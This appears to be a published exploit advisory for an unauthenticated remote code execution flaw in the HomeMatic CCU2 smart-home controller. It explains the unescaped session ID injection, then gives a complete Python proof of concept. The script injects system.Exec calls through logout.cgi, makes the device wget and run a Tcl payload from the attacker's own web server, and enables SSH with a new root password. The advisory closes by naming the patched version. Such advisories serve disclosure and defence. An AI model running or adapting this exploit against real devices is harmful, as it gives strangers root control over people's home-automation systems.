HomeMatic Zentrale CCU2 Unauthenticated Remote Code Execution

`# Exploit Title: HomeMatic Zentrale CCU2 Unauthenticated RCE  
# Date: 16-07-2018  
# Software Link: https://www.homematic.com/  
# Exploit Author: Kacper Szurek - ESET  
# Contact: https://twitter.com/KacperSzurek  
# Website: https://security.szurek.pl/  
# YouTube: https://www.youtube.com/c/KacperSzurek  
# Category: remote  
  
1. Description  
  
File: /root/www/api/backup/logout.cgi  
  
```  
proc main { } {  
set sid [getQueryArg sid]  
  
if [catch { session_logout $sid}] { error LOGOUT }  
  
puts "Content-Type: text/plain"  
puts ""  
puts "OK"  
}  
```  
  
`$sid` value is passed directly to `session_logout` function.  
  
File: /root/www/tcl/eq3/session.tcl  
  
```  
proc session_logout { sid } {  
rega_exec "system.ClearSessionID(\"$sid\");"  
}  
```  
  
`$sid` value is not escaped properly.   
  
We can close current rega script using `");` and execute our payload.  
  
2. Proof of Concept  
  
POC in Python which enable ssh access and change root password without any credentials.  
  
```  
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer  
import time  
import urllib2  
import threading  
import sys  
import os  
import signal  
  
print "HomeMatic Zentrale CCU2 Unauthenticated RCE"  
print "Unauthenticated Remote Code Execution"  
print "by Kacper Szurek - ESET"  
print "https://security.szurek.pl/"  
print "https://twitter.com/KacperSzurek"  
print "https://www.youtube.com/c/KacperSzurek\n"  
  
def signal_handler(a, b):  
print "[+] Exit"  
os._exit(0)  
  
signal.signal(signal.SIGINT, signal_handler)  
  
if len(sys.argv) != 4:  
print "Usage: exploit <your_ip> <homematic_ip> <new_password>"  
os._exit(0)  
  
our_ip = sys.argv[1]  
homematic_ip = sys.argv[2]  
new_password = sys.argv[3]  
tcl_file = """  
#!/bin/tclsh  
source /www/api/eq3/jsonrpc.tcl  
source /www/api/eq3/json.tcl  
set args(passwd) "{}"  
set args(mode) "true"  
source /www/api/methods/ccu/setssh.tcl  
source /www/api/methods/ccu/setsshpassword.tcl  
source /www/api/methods/ccu/restartsshdaemon.tcl  
""".format(new_password)  
  
class StoreHandler(BaseHTTPRequestHandler):  
def do_GET(self):  
print self.path  
if self.path == '/exploit':  
self.send_response(200)  
self.send_header('Content-type', 'text/html')  
self.end_headers()  
self.wfile.write(tcl_file)  
  
def server():  
try:  
server = HTTPServer((our_ip, 1234), StoreHandler)  
server.serve_forever()  
except Exception, e:  
print "[-] Cannot start web server: {}".format(e)  
os._exit(0)  
  
def send_payload(payload):  
return urllib2.urlopen('http://{}/api/backup/logout.cgi?sid=aa");system.Exec("{}");system.ClearSessionID("bb'.format(homematic_ip, payload)).read()  
  
try:  
version = urllib2.urlopen('http://{}/api/backup/version.cgi'.format(homematic_ip), timeout=6).read()  
except:  
version = ""  
  
if not version.startswith('VERSION='):  
print "[-] Probably not HomeMatic IP: {}".format(homematic_ip)  
os._exit(0)  
  
if "'" in new_password or '"' in new_password:  
print "[-] Forbidden characters in password"  
os._exit(0)  
  
print "[+] Start web server"  
t = threading.Thread(target=server)  
t.daemon = True  
t.start()  
time.sleep(2)  
  
print "[+] Download exploit"  
send_payload('wget+-O+/tmp/exploit+http://{}:1234/exploit&&chmod+%2bx+/tmp/exploit'.format(our_ip))  
  
print "[+] Set chmod +x"  
send_payload('chmod+%2bx+/tmp/exploit')  
  
print "[+] Execute exploit"  
send_payload('/bin/tclsh+/tmp/exploit')  
  
print "[+] Success, now you can ssh as root:"  
print "ssh root@{}".format(homematic_ip)  
print "Password: {}".format(new_password)  
os._exit(0)  
```  
  
3. Solution:  
  
Update to version 2.35.16  
`